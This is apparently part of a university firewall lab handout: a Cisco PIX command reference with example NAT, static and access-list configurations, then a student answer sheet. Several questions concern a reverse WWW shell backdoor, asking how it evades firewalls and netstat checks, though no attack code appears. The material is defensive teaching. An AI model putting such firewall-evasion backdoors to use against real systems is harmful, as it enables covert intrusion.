hardware_id: Specifies a perimeter interface and its physical location on the PIX
Firewall.
if-name: Assigns a name to the physical perimeter interface. This name is assigned by
the you, and must be used in all future configuration references to the perimeter interface.
By default, el is the "inside" and e0 is the "outside."
security_level Indicates the security level for the perimeter interface. Enter a security
level of 1-99.
interface. Command
The interface command identifies the type of hardware, sets the hardware speed, and
enables the interface. When an additional Ethernet interface card is installed on the PIX
Firewall, the PIX Firewall automatically recognizes the additional card.
interface hardware_id [hardware_speed] [shutdown]
[] indicates optional commands
hardware_id Specifies an interface and its physical location on the PIX Firewall. This is
the same variable that was used with the nameif command.
hardware_speed Determines the connection speed. Enter auto so the PIX Firewall can
sense the speed needed for the device.
shutdown Administratively shuts down the interface.
ip address Command
Each interface on the PIX Firewall must be configured with an IP address. After
configuring the IP address and netmask, it is common to use the show ip command to
view which addresses are assigned to the network interfaces. If a mistake is found,
reenter the command with the correct information.
ip address if_name ip_address [netmask]
.
Source: Chapman, D. W. and Fox, A., Cisco Secure PIX Firewalls, Cisco Press. 2002
85
if-name Describes the interface. This name is assigned by the user and must be used in
all future configuration references to the interface.
ip_address The assigned IF address of the interface.
netmask If a network mask is not specified, the classful network mask is
assumed:
Class A: 255.0.0.0
Class B: 255.255.0.0
Class C: 255.255.255.0
nat Command
Network Address Translation (NAT) enables the user to keep internal IP addresses (those
behind the PIX Firewall) unknown to external networks. As an example, when
connecting to the Internet or other foreign network, the nat command accomplishes this
by translating the internal, unregistered IP addresses, which do not have to be globally
unique, into registered, globally accepted IP addresses before packets are forwarded to
the external network. With the exception of nat 0, the nat command is always used with
the global command.
nat (if_name)nat_id local_ip [netmaskl
(if-name) Describes the internal network interface name that will use global addresses.
Data will exit the PIX through the interface specified in the global command.
nat_id Identifies the global pool and matches it with its respective global command.
local_ip The IP address(es) assigned to the devices on the inside network. 0.0.0.0 may be
used to allow all outbound connections to translate with IP addresses from the global
pool.
netmask Network mask for the local IP address.
When initially configuring the PIX Firewall, all inside hosts can be enabled to access
outbound connections with the nat 1 0.0.0.0 0.0.0.0 command. The nat 1 0.0.0.0 0.0.0.0
command enables NAT and lets all inside hosts (specified as 0.0.0.0) access connections
that are bound to the corresponding global command. The nat command can specify a
single or range of hosts to make access more selective. When configuring, 0 can be used
in place of 0.0.0.0.
global Command
When sending data from a trusted network to an untrusted network, the source IP address
is often translated. The PIX can do this with two commands. The first command is nat,
which defines the trusted source addresses to be translated. The command that is used to
define the address or range of addresses that the source address will become is the global
command.
global [(if_name)] nat_id {global_ip [-global_ip] [netmask global_mask]}
if-name Describes the external network interface name where you will use the global
addresses.
86
nat _id Identifies the global pool and matches it with its respective nat command.
interface Have the PIX translate alllP addresses specified by the nat command to the
interface specified.
global_ip Single IP addresses or the beginning IP address for a range of globallP
addresses.
-global_ip A range of globallP addresses.
netmask global The network mask for the globallP. If subnetting is in effect, use the
subnet mask.
When an outbound IP packet that is sent from a device on the inside network reaches the
PIX Firewall, the source address is extracted and compared to an internal table of existing
translations. If the device's address is not already in the table, it is then translated. A new
entry is created for that device and it is assigned a global IP address from a pool of global
IP addresses. This is called a translation slot. After this translation occurs, the table is
updated and the translated IP packet is forwarded.
Figure 3-B-1 – NAT with PIX
route Command
The route command defines a static route for an interface. The route statement may have
a specific destination, or a default static route may be created.
87
route if_name ip_address netmask gateway_ip
if-name Describes the internal or external network interface name. Data will exit
from the PIX through this interface.
ip_address Describes the destination internal or external network IP address. Use 0.0.0.0
to specify a default route (all destination networks). The 0.0.0.0 IP address can be
abbreviated as 0.
netmask Specifies a network mask to apply to ip_address. Use 0.0.0.0 to specify a default
route. The 0.0.0.0 netmask can be abbreviated as 0. It is common to have one default
route.
gateway _ip Specifies the IP address of the gateway router (the next-hop address for this
route).
static Command
Provides a global IP address on a lower security interface, such as outside, that is mapped
to a higher security interface, such as a DMZ server on the DMZ interface.
static (high_interface,low_interface) low_address high_address netmask netmask
high_interface The local or higher security interface
low_interface The global or lower security interface.
low_address The IP address for the machine on the low security interface.
high_address The local IP address for the machine on the high security interface.
netmask The network mask pertains to both low_address and high_address. Use a
netmask of 255.255.255.255 when low_address is a host even if subnetting is in place, or
specify the correct mask if low_address is a network address
Example
static (dmz3,outside) 209.165.201.3 192.168.3.3 netmask 255.255.255.255
Makes up the 209.165.201.3 address on the outside interface that is mapped to the
192.165.201.3 address on the DMZ interface.

Source: http://www.cisco.com/univercd/cc/td/doc/product/iaabu/pix/pix_sw/v_53/config/
88
access-list Command
The access-list command lets the outside users access the IP address that you provided
for mapping to the internal resource.
access-list acl_ID [deny | permit] protocol source_addr source_mask operator port
destination_addr destination_mask operator port
acl_ID Name of an access list. You can use either a name or number.
deny When used with the access-group command, the deny option does not allow a
packet to traverse the PIX Firewall. By default, PIX Firewall denies all inbound or
outbound packets unless you specifically permit access.
permit When used with the access-group command, the permit option selects a packet to
traverse the PIX Firewall. By default, PIX Firewall denies all inbound or outbound
packets unless you specifically permit access.
protocol It can be one of the keywords icmp, ip, tcp, or udp
source_addr A host or network address for on the lower security level interface, such as
outside, that need to access the destinations, which is the global IP address provided in
the static command. Use any for the source_address to let any host access the
destination_address. If you specify a single host, precede the address with host; for
example host 192.168.1.2. If you specify a network address, also specify a network mask;
for example, 192.168.1.0 255.255.255.0.
source_netmask Netmask of the source address. Use host address as an abbreviation for
a mask of 255.255.255.255.
destination_addr A host or network global address that you specified with the static
command statement. This is the global IP address on the lower security interface, in the
static command that maps to the higher security address. For a host address, precede the
address with host; for networks, specify the network address and the appropriate network
mask.
destination_mask Netmask for the destination address.
operator A comparison operand that lets you specify a port or a port range. Use without
an operator and port to indicate all ports; for example:
access-list acl_out permit tcp any host 209.165.201.1

Source: http://www.cisco.com/univercd/cc/td/doc/product/iaabu/pix/pix_sw/v_53/config/
89
A list of other operators is given in Appendix 3-B.
port Services you permit or deny access to. Specify services by the port that handles it,
such as smtp for port 25, www for port 80, and so on. You can specify ports by either a
literal name or a number in the range of 0 to 65535.
After defining an Access list, you need to bind that list to an interface. The access-group
command allows you to do that.
access-group Command
The access-group command binds an access list to an interface. The access list is applied
to traffic inbound on an interface. If you enter the permit option in an access-list
command statement, the PIX Firewall continues to process the packet. If you enter the
deny option in an access-list command statement, PIX Firewall discards the packet.
access-group acl_ID in interface interface_name
acl_ID The name associated with a given access list.
in interface Filter on inbound packets at the given interface.
interface_name The name of the network interface from which the packets are to
be permitted or denied.
Example:
static (inside,management) 10.1.1.15 10.1.1.15 netmask
255.255.255.255
access-list from-management-coming-in permit tcp host 10.2.2.2
host 10.1.1.15 eq 8888
access-group from-management-coming-in in interface management

Source: http://www.cisco.com/univercd/cc/td/doc/product/iaabu/pix/pix_sw/v_53/config/
90
Turn-in checklist
You need to turn in.
 Answer sheet with TA signature in section 3.
 Printout of the command pixGxx(config)# write terminal
 Any corrections or additions to the lab.
91
ECE 4112 Internetwork Security
Lab 6: Firewalls
Group Number: _________
Member Names: ___________________
_______________________
Q1.1. Write down which ports are open:
Q1.2. What ports do you think should be left open to allow for normal internet traffic? Explain how your
answer differs for say a host versus a server.
Q1.3. Write down which ports are open after the firewalls installation:
Q1.4. What happened differently in the results from exercise three as opposed to exercise one? Can you
speculate what firewall rules caused this?
Q1.5. Comment on the differences between the first rule:
Q1.6. Uncomment line 29 and restart the firewall. Explain what you saw and why:
92
Q1.7. Record these output in ethereal and comment on what you saw happen:
Q1.8. What did you see ?
Q1.9. Write down three rules that you think might be useful and explain what they do.
Q1.10 Open ethereal and capture a few of the shell packets, what is their format?
Q1.12 Why does the format of the protocol make it specially hard to catch with a firewall?
Q1.13 A common way network administrators check for backdoors running on
their system is to do a “netstat -na” Do this on your slave system, do you
see an open port for the reverse www shell? Why not?
93
Section 2
Q2.1. List the open ports on the Windows XP machine.
Q2.2. Now that the firewall is configured and activated, list the open ports on the Windows XP
machine.
Q2.3. As far as personal firewall software goes, how does windows XP's ICF compared to
Linux's iptables?
Section 3
TA Signature _______________________________
Q3.1. Can you ping each of these?
Q3.2. Can you ping the address of the server (192.168.0.10) ?
Q3.3. What does this command show? What does it mean?
Q3.4. Try to access it from a web browser and see if you can do that. You could also telnet to
port 80 and check this. Can you do it?
94
Q3.5. Finally, can you ping the R2 terminal machine from the outside?
Q3.6. Describe how the firewall is configured at this point. What type of packets does it allow or
disallow and from where? You can draw diagrams to explain this better.
Q3.7.Write the address of the web server, for the outside interface, below.
Q3.8.Were you able to connect to the server from the outside? Can you ping this server from the
outside?
Q3.9.What kind of traffic does it allow and from where to where? You can draw diagrams to
explain this.
Turn in a printout of the output of the command, given below, with your lab.
pixGxx(config)# write terminal
Q3.10. This was very simple network architecture, designed to give you a brief overview of how
Cisco PIX Firewalls work. How does the Cisco PIX firewall differ from Linux ipchains
capability that we looked at before? By looking on the web, determine which which firewall
methodology is common in industry and why. Summarize your conclusion here and give
references to justify your answer.
95
General Questions
How long did it take you to complete this lab? Was it an appropriate length lab?
What corrections and or improvements do you suggest for this lab? Please be very specific
and if you add new material give the exact wording and instructions you would give to
future students in the new lab handout. You may cross out and edit the text of the lab on
previous pages to make minor corrections/suggestions. General suggestions like add tool
xyz to do more capable scanning will not be awarded extras points even if the statement is
totally true. Specific text that could be cut and pasted into this lab, completed exercises,
and completed solutions may be awarded additional credit. Thus if tool xyz adds a
capability or additional or better learning experience for future students here is what you
need to do. You should add that tool to the lab by writing new detailed lab instructions on
where to get the tool, how to install it, how to run it, what exactly to do with it in our lab,
example outputs, etc. You must prove with what you turn in that you actually did the lab
improvement yourself. Screen shots and output hardcopy are a good way to demonstrate
that you actually completed your suggested enhancements. The lab addition section must
start with the title “Lab Addition”, your addition subject title, and must start with a
paragraph explaining at a high level what new concept may be learned by adding this to
the existing laboratory assignment. After this introductory paragraph, add the details of
your lab addition.
96